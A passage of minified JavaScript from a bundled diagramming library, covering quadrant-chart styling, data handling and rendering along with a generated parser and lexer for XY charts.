e=this.config.showXAxis&&!!(this.data.xAxisLeftText||this.data.xAxisRightText),r=this.config.showYAxis&&!!(this.data.yAxisTopText||this.data.yAxisBottomText),n=this.config.showTitle&&!!this.data.titleText,i=this.data.points.length>0?"bottom":this.config.xAxisPosition,a=this.calculateSpace(i,e,r,n);return{points:this.getQuadrantPoints(a),quadrants:this.getQuadrants(a),axisLabels:this.getAxisLabels(i,e,r,a),borderLines:this.getBorders(a),title:this.getTitle(n)}}}});function $F(t){return!/^#?([\dA-Fa-f]{6}|[\dA-Fa-f]{3})$/.test(t)}function F1e(t){return!/^\d+$/.test(t)}function $1e(t){return!/^\d+px$/.test(t)}var s0,z1e=N(()=>{"use strict";s0=class extends Error{static{o(this,"InvalidStyleError")}constructor(e,r,n){super(`value for ${e} ${r} is invalid, please use a valid ${n}`),this.name="InvalidStyleError"}};o($F,"validateHexCode");o(F1e,"validateNumber");o($1e,"validateSizeInPixels")});function sh(t){return sr(t.trim(),nZe)}function iZe(t){Ca.setData({quadrant1Text:sh(t.text)})}function aZe(t){Ca.setData({quadrant2Text:sh(t.text)})}function sZe(t){Ca.setData({quadrant3Text:sh(t.text)})}function oZe(t){Ca.setData({quadrant4Text:sh(t.text)})}function lZe(t){Ca.setData({xAxisLeftText:sh(t.text)})}function cZe(t){Ca.setData({xAxisRightText:sh(t.text)})}function uZe(t){Ca.setData({yAxisTopText:sh(t.text)})}function hZe(t){Ca.setData({yAxisBottomText:sh(t.text)})}function zF(t){let e={};for(let r of t){let[n,i]=r.trim().split(/\s*:\s*/);if(n==="radius"){if(F1e(i))throw new s0(n,i,"number");e.radius=parseInt(i)}else if(n==="color"){if($F(i))throw new s0(n,i,"hex code");e.color=i}else if(n==="stroke-color"){if($F(i))throw new s0(n,i,"hex code");e.strokeColor=i}else if(n==="stroke-width"){if($1e(i))throw new s0(n,i,"number of pixels (eg. 10px)");e.strokeWidth=i}else throw new Error(`style named ${n} is not supported.`)}return e}function fZe(t,e,r,n,i){let a=zF(i);Ca.addPoints([{x:r,y:n,text:sh(t.text),className:e,...a}])}function dZe(t,e){Ca.addClass(t,zF(e))}function pZe(t){Ca.setConfig({chartWidth:t})}function mZe(t){Ca.setConfig({chartHeight:t})}function gZe(){let t=ge(),{themeVariables:e,quadrantChart:r}=t;return r&&Ca.setConfig(r),Ca.setThemeConfig({quadrant1Fill:e.quadrant1Fill,quadrant2Fill:e.quadrant2Fill,quadrant3Fill:e.quadrant3Fill,quadrant4Fill:e.quadrant4Fill,quadrant1TextFill:e.quadrant1TextFill,quadrant2TextFill:e.quadrant2TextFill,quadrant3TextFill:e.quadrant3TextFill,quadrant4TextFill:e.quadrant4TextFill,quadrantPointFill:e.quadrantPointFill,quadrantPointTextFill:e.quadrantPointTextFill,quadrantXAxisTextFill:e.quadrantXAxisTextFill,quadrantYAxisTextFill:e.quadrantYAxisTextFill,quadrantExternalBorderStrokeFill:e.quadrantExternalBorderStrokeFill,quadrantInternalBorderStrokeFill:e.quadrantInternalBorderStrokeFill,quadrantTitleFill:e.quadrantTitleFill}),Ca.setData({titleText:Pr()}),Ca.build()}var nZe,Ca,yZe,G1e,V1e=N(()=>{"use strict";Xt();gr();ci();B1e();z1e();nZe=ge();o(sh,"textSanitizer");Ca=new V6;o(iZe,"setQuadrant1Text");o(aZe,"setQuadrant2Text");o(sZe,"setQuadrant3Text");o(oZe,"setQuadrant4Text");o(lZe,"setXAxisLeftText");o(cZe,"setXAxisRightText");o(uZe,"setYAxisTopText");o(hZe,"setYAxisBottomText");o(zF,"parseStyles");o(fZe,"addPoint");o(dZe,"addClass");o(pZe,"setWidth");o(mZe,"setHeight");o(gZe,"getQuadrantData");yZe=o(function(){Ca.clear(),Sr()},"clear"),G1e={setWidth:pZe,setHeight:mZe,setQuadrant1Text:iZe,setQuadrant2Text:aZe,setQuadrant3Text:sZe,setQuadrant4Text:oZe,setXAxisLeftText:lZe,setXAxisRightText:cZe,setYAxisTopText:uZe,setYAxisBottomText:hZe,parseStyles:zF,addPoint:fZe,addClass:dZe,getQuadrantData:gZe,clear:yZe,setAccTitle:Rr,getAccTitle:Mr,setDiagramTitle:$r,getDiagramTitle:Pr,getAccDescription:Or,setAccDescription:Ir}});var vZe,U1e,H1e=N(()=>{"use strict";yr();Xt();pt();Ei();vZe=o((t,e,r,n)=>{function i(C){return C==="top"?"hanging":"middle"}o(i,"getDominantBaseLine");function a(C){return C==="left"?"start":"middle"}o(a,"getTextAnchor");function s(C){return`translate(${C.x}, ${C.y}) rotate(${C.rotation||0})`}o(s,"getTransformation");let l=ge();X.debug(`Rendering quadrant chart +`+t);let u=l.securityLevel,h;u==="sandbox"&&(h=qe("#i"+e));let d=(u==="sandbox"?qe(h.nodes()[0].contentDocument.body):qe("body")).select(`[id="${e}"]`),p=d.append("g").attr("class","main"),m=l.quadrantChart?.chartWidth??500,g=l.quadrantChart?.chartHeight??500;mn(d,g,m,l.quadrantChart?.useMaxWidth??!0),d.attr("viewBox","0 0 "+m+" "+g),n.db.setHeight(g),n.db.setWidth(m);let y=n.db.getQuadrantData(),v=p.append("g").attr("class","quadrants"),x=p.append("g").attr("class","border"),b=p.append("g").attr("class","data-points"),T=p.append("g").attr("class","labels"),S=p.append("g").attr("class","title");y.title&&S.append("text").attr("x",0).attr("y",0).attr("fill",y.title.fill).attr("font-size",y.title.fontSize).attr("dominant-baseline",i(y.title.horizontalPos)).attr("text-anchor",a(y.title.verticalPos)).attr("transform",s(y.title)).text(y.title.text),y.borderLines&&x.selectAll("line").data(y.borderLines).enter().append("line").attr("x1",C=>C.x1).attr("y1",C=>C.y1).attr("x2",C=>C.x2).attr("y2",C=>C.y2).style("stroke",C=>C.strokeFill).style("stroke-width",C=>C.strokeWidth);let w=v.selectAll("g.quadrant").data(y.quadrants).enter().append("g").attr("class","quadrant");w.append("rect").attr("x",C=>C.x).attr("y",C=>C.y).attr("width",C=>C.width).attr("height",C=>C.height).attr("fill",C=>C.fill),w.append("text").attr("x",0).attr("y",0).attr("fill",C=>C.text.fill).attr("font-size",C=>C.text.fontSize).attr("dominant-baseline",C=>i(C.text.horizontalPos)).attr("text-anchor",C=>a(C.text.verticalPos)).attr("transform",C=>s(C.text)).text(C=>C.text.text),T.selectAll("g.label").data(y.axisLabels).enter().append("g").attr("class","label").append("text").attr("x",0).attr("y",0).text(C=>C.text).attr("fill",C=>C.fill).attr("font-size",C=>C.fontSize).attr("dominant-baseline",C=>i(C.horizontalPos)).attr("text-anchor",C=>a(C.verticalPos)).attr("transform",C=>s(C));let A=b.selectAll("g.data-point").data(y.points).enter().append("g").attr("class","data-point");A.append("circle").attr("cx",C=>C.x).attr("cy",C=>C.y).attr("r",C=>C.radius).attr("fill",C=>C.fill).attr("stroke",C=>C.strokeColor).attr("stroke-width",C=>C.strokeWidth),A.append("text").attr("x",0).attr("y",0).text(C=>C.text.text).attr("fill",C=>C.text.fill).attr("font-size",C=>C.text.fontSize).attr("dominant-baseline",C=>i(C.text.horizontalPos)).attr("text-anchor",C=>a(C.text.verticalPos)).attr("transform",C=>s(C.text))},"draw"),U1e={draw:vZe}});var q1e={};dr(q1e,{diagram:()=>xZe});var xZe,W1e=N(()=>{"use strict";P1e();V1e();H1e();xZe={parser:O1e,db:G1e,renderer:U1e,styles:o(()=>"","styles")}});var GF,j1e,K1e=N(()=>{"use strict";GF=(function(){var t=o(function(O,M,P,B){for(P=P||{},B=O.length;B--;P[O[B]]=M);return P},"o"),e=[1,10,12,14,16,18,19,21,23],r=[2,6],n=[1,3],i=[1,5],a=[1,6],s=[1,7],l=[1,5,10,12,14,16,18,19,21,23,34,35,36],u=[1,25],h=[1,26],f=[1,28],d=[1,29],p=[1,30],m=[1,31],g=[1,32],y=[1,33],v=[1,34],x=[1,35],b=[1,36],T=[1,37],S=[1,43],w=[1,42],k=[1,47],A=[1,50],C=[1,10,12,14,16,18,19,21,23,34,35,36],R=[1,10,12,14,16,18,19,21,23,24,26,27,28,34,35,36],I=[1,10,12,14,16,18,19,21,23,24,26,27,28,34,35,36,41,42,43,44,45,46,47,48,49,50],L=[1,64],E={trace:o(function(){},"trace"),yy:{},symbols_:{error:2,start:3,eol:4,XYCHART:5,chartConfig:6,document:7,CHART_ORIENTATION:8,statement:9,title:10,text:11,X_AXIS:12,parseXAxis:13,Y_AXIS:14,parseYAxis:15,LINE:16,plotData:17,BAR:18,acc_title:19,acc_title_value:20,acc_descr:21,acc_descr_value:22,acc_descr_multiline_value:23,SQUARE_BRACES_START:24,commaSeparatedNumbers:25,SQUARE_BRACES_END:26,NUMBER_WITH_DECIMAL:27,COMMA:28,xAxisData:29,bandData:30,ARROW_DELIMITER:31,commaSeparatedTexts:32,yAxisData:33,NEWLINE:34,SEMI:35,EOF:36,alphaNum:37,STR:38,MD_STR:39,alphaNumToken:40,AMP:41,NUM:42,ALPHA:43,PLUS:44,EQUALS:45,MULT:46,DOT:47,BRKT:48,MINUS:49,UNDERSCORE:50,$accept:0,$end:1},terminals_:{2:"error",5:"XYCHART",8:"CHART_ORIENTATION",10:"title",12:"X_AXIS",14:"Y_AXIS",16:"LINE",18:"BAR",19:"acc_title",20:"acc_title_value",21:"acc_descr",22:"acc_descr_value",23:"acc_descr_multiline_value",24:"SQUARE_BRACES_START",26:"SQUARE_BRACES_END",27:"NUMBER_WITH_DECIMAL",28:"COMMA",31:"ARROW_DELIMITER",34:"NEWLINE",35:"SEMI",36:"EOF",38:"STR",39:"MD_STR",41:"AMP",42:"NUM",43:"ALPHA",44:"PLUS",45:"EQUALS",46:"MULT",47:"DOT",48:"BRKT",49:"MINUS",50:"UNDERSCORE"},productions_:[0,[3,2],[3,3],[3,2],[3,1],[6,1],[7,0],[7,2],[9,2],[9,2],[9,2],[9,2],[9,2],[9,3],[9,2],[9,3],[9,2],[9,2],[9,1],[17,3],[25,3],[25,1],[13,1],[13,2],[13,1],[29,1],[29,3],[30,3],[32,3],[32,1],[15,1],[15,2],[15,1],[33,3],[4,1],[4,1],[4,1],[11,1],[11,1],[11,1],[37,1],[37,2],[40,1],[40,1],[40,1],[40,1],[40,1],[40,1],[40,1],[40,1],[40,1],[40,1]],performAction:o(function(M,P,B,F,G,$,U){var j=$.length-1;switch(G){case 5:F.setOrientation($[j]);break;case 9:F.setDiagramTitle($[j].text.trim());break;case 12:F.setLineData({text:"",type:"text"},$[j]);break;case 13:F.setLineData($[j-1],$[j]);break;case 14:F.setBarData({text:"",type:"text"},$[j]);break;case 15:F.setBarData($[j-1],$[j]);break;case 16:this.$=$[j].trim(),F.setAccTitle(this.$);break;case 17:case 18:this.$=$[j].trim(),F.setAccDescription(this.$);break;case 19:this.$=$[j-1];break;case 20:this.$=[Number($[j-2]),...$[j]];break;case 21:this.$=[Number($[j])];break;case 22:F.setXAxisTitle($[j]);break;case 23:F.setXAxisTitle($[j-1]);break;case 24:F.setXAxisTitle({type:"text",text:""});break;case 25:F.setXAxisBand($[j]);break;case 26:F.setXAxisRangeData(Number($[j-2]),Number($[j]));break;case 27:this.$=$[j-1];break;case 28:this.$=[$[j-2],...$[j]];break;case 29:this.$=[$[j]];break;case 30:F.setYAxisTitle($[j]);break;case 31:F.setYAxisTitle($[j-1]);break;case 32:F.setYAxisTitle({type:"text",text:""});break;case 33:F.setYAxisRangeData(Number($[j-2]),Number($[j]));break;case 37:this.$={text:$[j],type:"text"};break;case 38:this.$={text:$[j],type:"text"};break;case 39:this.$={text:$[j],type:"markdown"};break;case 40:this.$=$[j];break;case 41:this.$=$[j-1]+""+$[j];break}},"anonymous"),table:[t(e,r,{3:1,4:2,7:4,5:n,34:i,35:a,36:s}),{1:[3]},t(e,r,{4:2,7:4,3:8,5:n,34:i,35:a,36:s}),t(e,r,{4:2,7:4,6:9,3:10,5:n,8:[1,11],34:i,35:a,36:s}),{1:[2,4],9:12,10:[1,13],12:[1,14],14:[1,15],16:[1,16],18:[1,17],19:[1,18],21:[1,19],23:[1,20]},t(l,[2,34]),t(l,[2,35]),t(l,[2,36]),{1:[2,1]},t(e,r,{4:2,7:4,3:21,5:n,34:i,35:a,36:s}),{1:[2,3]},t(l,[2,5]),t(e,[2,7],{4:22,34:i,35:a,36:s}),{11:23,37:24,38:u,39:h,40:27,41:f,42:d,43:p,44:m,45:g,46:y,47:v,48:x,49:b,50:T},{11:39,13:38,24:S,27:w,29:40,30:41,37:24,38:u,39:h,40:27,41:f,42:d,43:p,44:m,45:g,46:y,47:v,48:x,49:b,50:T},{11:45,15:44,27:k,33:46,37:24,38:u,39:h,40:27,41:f,42:d,43:p,44:m,45:g,46:y,47:v,48:x,49:b,50:T},{11:49,17:48,24:A,37:24,38:u,39:h,40:27,41:f,42:d,43:p,44:m,45:g,46:y,47:v,48:x,49:b,50:T},{11:52,17:51,24:A,37:24,38:u,39:h,40:27,41:f,42:d,43:p,44:m,45:g,46:y,47:v,48:x,49:b,50:T},{20:[1,53]},{22:[1,54]},t(C,[2,18]),{1:[2,2]},t(C,[2,8]),t(C,[2,9]),t(R,[2,37],{40:55,41:f,42:d,43:p,44:m,45:g,46:y,47:v,48:x,49:b,50:T}),t(R,[2,38]),t(R,[2,39]),t(I,[2,40]),t(I,[2,42]),t(I,[2,43]),t(I,[2,44]),t(I,[2,45]),t(I,[2,46]),t(I,[2,47]),t(I,[2,48]),t(I,[2,49]),t(I,[2,50]),t(I,[2,51]),t(C,[2,10]),t(C,[2,22],{30:41,29:56,24:S,27:w}),t(C,[2,24]),t(C,[2,25]),{31:[1,57]},{11:59,32:58,37:24,38:u,39:h,40:27,41:f,42:d,43:p,44:m,45:g,46:y,47:v,48:x,49:b,50:T},t(C,[2,11]),t(C,[2,30],{33:60,27:k}),t(C,[2,32]),{31:[1,61]},t(C,[2,12]),{17:62,24:A},{25:63,27:L},t(C,[2,14]),{17:65,24:A},t(C,[2,16]),t(C,[2,17]),t(I,[2,41]),t(C,[2,23]),{27:[1,66]},{26:[1,67]},{26:[2,29],28:[1,68]},t(C,[2,31]),{27:[1,69]},t(C,[2,13]),{26:[1,70]},{26:[2,21],28:[1,71]},t(C,[2,15]),t(C,[2,26]),t(C,[2,27]),{11:59,32:72,37:24,38:u,39:h,40:27,41:f,42:d,43:p,44:m,45:g,46:y,47:v,48:x,49:b,50:T},t(C,[2,33]),t(C,[2,19]),{25:73,27:L},{26:[2,28]},{26:[2,20]}],defaultActions:{8:[2,1],10:[2,3],21:[2,2],72:[2,28],73:[2,20]},parseError:o(function(M,P){if(P.recoverable)this.trace(M);else{var B=new Error(M);throw B.hash=P,B}},"parseError"),parse:o(function(M){var P=this,B=[0],F=[],G=[null],$=[],U=this.table,j="",te=0,Y=0,oe=0,J=2,ue=1,re=$.slice.call(arguments,1),ee=Object.create(this.lexer),Z={yy:{}};for(var K in this.yy)Object.prototype.hasOwnProperty.call(this.yy,K)&&(Z.yy[K]=this.yy[K]);ee.setInput(M,Z.yy),Z.yy.lexer=ee,Z.yy.parser=this,typeof ee.yylloc>"u"&&(ee.yylloc={});var ae=ee.yylloc;$.push(ae);var Q=ee.options&&ee.options.ranges;typeof Z.yy.parseError=="function"?this.parseError=Z.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;function de(fe){B.length=B.length-2*fe,G.length=G.length-fe,$.length=$.length-fe}o(de,"popStack");function ne(){var fe;return fe=F.pop()||ee.lex()||ue,typeof fe!="number"&&(fe instanceof Array&&(F=fe,fe=F.pop()),fe=P.symbols_[fe]||fe),fe}o(ne,"lex");for(var Te,q,Ve,pe,Be,Ye,He={},Le,Ie,Ne,Ce;;){if(Ve=B[B.length-1],this.defaultActions[Ve]?pe=this.defaultActions[Ve]:((Te===null||typeof Te>"u")&&(Te=ne()),pe=U[Ve]&&U[Ve][Te]),typeof pe>"u"||!pe.length||!pe[0]){var Fe="";Ce=[];for(Le in U[Ve])this.terminals_[Le]&&Le>J&&Ce.push("'"+this.terminals_[Le]+"'");ee.showPosition?Fe="Parse error on line "+(te+1)+`: +`+ee.showPosition()+` +Expecting `+Ce.join(", ")+", got '"+(this.terminals_[Te]||Te)+"'":Fe="Parse error on line "+(te+1)+": Unexpected "+(Te==ue?"end of input":"'"+(this.terminals_[Te]||Te)+"'"),this.parseError(Fe,{text:ee.match,token:this.terminals_[Te]||Te,line:ee.yylineno,loc:ae,expected:Ce})}if(pe[0]instanceof Array&&pe.length>1)throw new Error("Parse Error: multiple actions possible at state: "+Ve+", token: "+Te);switch(pe[0]){case 1:B.push(Te),G.push(ee.yytext),$.push(ee.yylloc),B.push(pe[1]),Te=null,q?(Te=q,q=null):(Y=ee.yyleng,j=ee.yytext,te=ee.yylineno,ae=ee.yylloc,oe>0&&oe--);break;case 2:if(Ie=this.productions_[pe[1]][1],He.$=G[G.length-Ie],He._$={first_line:$[$.length-(Ie||1)].first_line,last_line:$[$.length-1].last_line,first_column:$[$.length-(Ie||1)].first_column,last_column:$[$.length-1].last_column},Q&&(He._$.range=[$[$.length-(Ie||1)].range[0],$[$.length-1].range[1]]),Ye=this.performAction.apply(He,[j,Y,te,Z.yy,pe[1],G,$].concat(re)),typeof Ye<"u")return Ye;Ie&&(B=B.slice(0,-1*Ie*2),G=G.slice(0,-1*Ie),$=$.slice(0,-1*Ie)),B.push(this.productions_[pe[1]][0]),G.push(He.$),$.push(He._$),Ne=U[B[B.length-2]][B[B.length-1]],B.push(Ne);break;case 3:return!0}}return!0},"parse")},D=(function(){var O={EOF:1,parseError:o(function(P,B){if(this.yy.parser)this.yy.parser.parseError(P,B);else throw new Error(P)},"parseError"),setInput:o(function(M,P){return this.yy=P||this.yy||{},this._input=M,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var M=this._input[0];this.yytext+=M,this.yyleng++,this.offset++,this.match+=M,this.matched+=M;var P=M.match(/(?:\r\n?|\n).*/g);return P?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),M},"input"),unput:o(function(M){var P=M.length,B=M.split(/(?:\r\n?|\n)/g);this._input=M+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-P),this.offset-=P;var F=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),B.length-1&&(this.yylineno-=B.length-1);var G=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:B?(B.length===F.length?this.yylloc.first_column:0)+F[F.length-B.length].length-B[0].length:this.yylloc.first_column-P},this.options.ranges&&(this.yylloc.range=[G[0],G[0]+this.yyleng-P]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return this},"reject"),less:o(function(M){this.unput(this.match.slice(M))},"less"),pastInput:o(function(){var M=this.matched.substr(0,this.matched.length-this.match.length);return(M.length>20?"...":"")+M.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var M=this.match;return M.length<20&&(M+=this._input.substr(0,20-M.length)),(M.substr(0,20)+(M.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var M=this.pastInput(),P=new Array(M.length+1).join("-");return M+this.upcomingInput()+` +`+P+"^"},"showPosition"),test_match:o(function(M,P){var B,F,G;if(this.options.backtrack_lexer&&(G={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(G.yylloc.range=this.yylloc.range.slice(0))),F=M[0].match(/(?:\r\n?|\n).*/g),F&&(this.yylineno+=F.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:F?F[F.length-1].length-F[F.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+M[0].length},this.yytext+=M[0],this.match+=M[0],this.matches=M,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(M[0].length),this.matched+=M[0],B=this.performAction.call(this,this.yy,this,P,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),B)return B;if(this._backtrack){for(var $ in G)this[$]=G[$];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var M,P,B,F;this._more||(this.yytext="",this.match="");for(var G=this._currentRules(),$=0;$P[0].length)){if(P=B,F=$,this.options.backtrack_lexer){if(M=this.test_match(B,G[$]),M!==!1)return M;if(this._backtrack){P=!1;continue}else return!1}else if(!this.options.flex)break}return P?(M=this.test_match(P,G[F]),M!==!1?M:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var P=this.next();return P||this.lex()},"lex"),begin:o(function(P){this.conditionStack.push(P)},"begin"),popState:o(function(){var P=this.conditionStack.length-1;return P>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function(P){return P=this.conditionStack.length-1-Math.abs(P||0),P>=0?this.conditionStack[P]:"INITIAL"},"topState"),pushState:o(function(P){this.begin(P)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{"case-insensitive":!0},performAction:o(function(P,B,F,G){var $=G;switch(F){case 0:break;case 1:break;case 2:return this.popState(),34;break;case 3:return this.popState(),34;break;case 4:return 34;case 5:break;case 6:return 10;case 7:return this.pushState("acc_title"),19;break;case 8:return this.popState(),"acc_title_value";break;case 9:return this.pushState("acc_descr"),21;break;case 10:return this.popState(),"acc_descr_value";break;case 11:this.pushState("acc_descr_multiline");break;case 12:this.popState();break;case 13:return"acc_descr_multiline_value";case 14:return 5;case 15:return 5;case 16:return 8;case 17:return this.pushState("axis_data"),"X_AXIS";break;case 18:return this.pushState("axis_data"),"Y_AXIS";break;case 19:return this.pushState("axis_band_data"),24;break;case 20:return 31;case 21:return this.pushState("data"),16;break;case 22:return this.pushState("data"),18;break;case 23:return this.pushState("data_inner"),24;break;case 24:return 27;case 25:return this.popState(),26;break;case 26:this.popState();break;case 27:this.pushState("string");break;case 28:this.popState();break;case 29:return"STR";case 30:return 24;case 31:return 26;case 32:return 43;case 33:return"COLON";case 34:return 44;case 35:return 28;case 36:return 45;case 37:return 46;case 38:return 48;case 39:return 50;case 40:return 47;case 41:return 41;case 42:return 49;case 43:return 42;case 44:break;case 45:return 35;case 46:return 36}},"anonymous"),rules:[/^(?:%%(?!\{)[^\n]*)/i,/^(?:[^\}]%%[^\n]*)/i,/^(?:(\r?\n))/i,/^(?:(\r?\n))/i,/^(?:[\n\r]+)/i,/^(?:%%[^\n]*)/i,/^(?:title\b)/i,/^(?:accTitle\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*\{\s*)/i,/^(?:\{)/i,/^(?:[^\}]*)/i,/^(?:xychart-beta\b)/i,/^(?:xychart\b)/i,/^(?:(?:vertical|horizontal))/i,/^(?:x-axis\b)/i,/^(?:y-axis\b)/i,/^(?:\[)/i,/^(?:-->)/i,/^(?:line\b)/i,/^(?:bar\b)/i,/^(?:\[)/i,/^(?:[+-]?(?:\d+(?:\.\d+)?|\.\d+))/i,/^(?:\])/i,/^(?:(?:`\) \{ this\.pushState\(md_string\); \}\n\(\?:\(\?!`"\)\.\)\+ \{ return MD_STR; \}\n\(\?:`))/i,/^(?:["])/i,/^(?:["])/i,/^(?:[^"]*)/i,/^(?:\[)/i,/^(?:\])/i,/^(?:[A-Za-z]+)/i,/^(?::)/i,/^(?:\+)/i,/^(?:,)/i,/^(?:=)/i,/^(?:\*)/i,/^(?:#)/i,/^(?:[\_])/i,/^(?:\.)/i,/^(?:&)/i,/^(?:-)/i,/^(?:[0-9]+)/i,/^(?:\s+)/i,/^(?:;)/i,/^(?:$)/i],conditions:{data_inner:{rules:[0,1,4,5,6,7,9,11,14,15,16,17,18,21,22,24,25,26,27,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46],inclusive:!0},data:{rules:[0,1,3,4,5,6,7,9,11,14,15,16,17,18,21,22,23,26,27,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46],inclusive:!0},axis_band_data:{rules:[0,1,4,5,6,7,9,11,14,15,16,17,18,21,22,25,26,27,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46],inclusive:!0},axis_data:{rules:[0,1,2,4,5,6,7,9,11,14,15,16,17,18,19,20,21,22,24,26,27,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46],inclusive:!0},acc_descr_multiline:{rules:[12,13],inclusive:!1},acc_descr:{rules:[10],inclusive:!1},acc_title:{rules:[8],inclusive:!1},title:{rules:[],inclusive:!1},md_string:{rules:[],inclusive:!1},string:{rules:[28,29],inclusive:!1},INITIAL:{rules:[0,1,4,5,6,7,9,11,14,15,16,17,18,21,22,26,27,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46],inclusive:!0}}};return O})();E.lexer=D;function _(){this.yy={}}return o(_,"Parser"),_.prototype=E,E.Parser=_,new _})();GF.parser=GF;j1e=GF});function VF(t){return t.type==="bar"}function U6(t){return t.type==="band"}function ry(t){return t.type==="linear"}var H6=N(()=>{"use strict";o(VF,"isBarPlot");o(U6,"isBandAxisData");o(ry,"isLinearAxisData")});var ny,UF=N(()=>{"use strict";zo();ny=class{constructor(e){this.parentGroup=e}static{o(this,"TextDimensionCalculatorWithFont")}getMaxDimension(e,r){if(!this.parentGroup)return{width:e.reduce((a,s)=>Math.max(s.length,a),0)*r,height:r};let n={width:0,height:0},i=this.parentGroup.append("g").attr("visibility","hidden").attr("font-size",r);for(let a of e){let s=qZ(i,1,a),l=s?s.width:a.length*r,u=s?s.height:r;n.width=Math.max(n.width,l),n.height=Math.max(n.height,u)}return i.remove(),n}}});var iy,HF=N(()=>{"use strict";iy=class{constructor(e,r,n,i){this.axisConfig=e;this.title=r;this.textDimensionCalculator=n;this.axisThemeConfig=i;this.boundingRect={x:0,y:0,width:0,height:0};this.axisPosition="left";this.showTitle=!1;this.showLabel=!1;this.showTick=!1;this.showAxisLine=!1;this.outerPadding=0;this.titleTextHeight=0;this.labelTextHeight=0;this.range=[0,10],this.boundingRect={x:0,y:0,width:0,height:0},this.axisPosition="left"}static{o(this,"BaseAxis")}setRange(e){this.range=e,this.axisPosition==="left"||this.axisPosition==="right"?this.boundingRect.height=e[1]-e[0]:this.boundingRect.width=e[1]-e[0],this.recalculateScale()}getRange(){return[this.range[0]+this.outerPadding,this.range[1]-this.outerPadding]}setAxisPosition(e){this.axisPosition=e,this.setRange(this.range)}getTickDistance(){let e=this.getRange();return Math.abs(e[0]-e[1])/this.getTickValues().length}getAxisOuterPadding(){return this.outerPadding}getLabelDimension(){return this.textDimensionCalculator.getMaxDimension(this.getTickValues().map(e=>e.toString()),this.axisConfig.labelFontSize)}recalculateOuterPaddingToDrawBar(){.7*this.getTickDistance()>this.outerPadding*2&&(this.outerPadding=Math.floor(.7*this.getTickDistance()/2)),this.recalculateScale()}calculateSpaceIfDrawnHorizontally(e){let r=e.height;if(this.axisConfig.showAxisLine&&r>this.axisConfig.axisLineWidth&&(r-=this.axisConfig.axisLineWidth,this.showAxisLine=!0),this.axisConfig.showLabel){let n=this.getLabelDimension(),i=.2*e.width;this.outerPadding=Math.min(n.width/2,i);let a=n.height+this.axisConfig.labelPadding*2;this.labelTextHeight=n.height,a<=r&&(r-=a,this.showLabel=!0)}if(this.axisConfig.showTick&&r>=this.axisConfig.tickLength&&(this.showTick=!0,r-=this.axisConfig.tickLength),this.axisConfig.showTitle&&this.title){let n=this.textDimensionCalculator.getMaxDimension([this.title],this.axisConfig.titleFontSize),i=n.height+this.axisConfig.titlePadding*2;this.titleTextHeight=n.height,i<=r&&(r-=i,this.showTitle=!0)}this.boundingRect.width=e.width,this.boundingRect.height=e.height-r}calculateSpaceIfDrawnVertical(e){let r=e.width;if(this.axisConfig.showAxisLine&&r>this.axisConfig.axisLineWidth&&(r-=this.axisConfig.axisLineWidth,this.showAxisLine=!0),this.axisConfig.showLabel){let n=this.getLabelDimension(),i=.2*e.height;this.outerPadding=Math.min(n.height/2,i);let a=n.width+this.axisConfig.labelPadding*2;a<=r&&(r-=a,this.showLabel=!0)}if(this.axisConfig.showTick&&r>=this.axisConfig.tickLength&&(this.showTick=!0,r-=this.axisConfig.tickLength),this.axisConfig.showTitle&&this.title){let n=this.textDimensionCalculator.getMaxDimension([this.title],this.axisConfig.titleFontSize),i=n.height+this.axisConfig.titlePadding*2;this.titleTextHeight=n.height,i<=r&&(r-=i,this.showTitle=!0)}this.boundingRect.width=e.width-r,this.boundingRect.height=e.height}calculateSpace(e){return 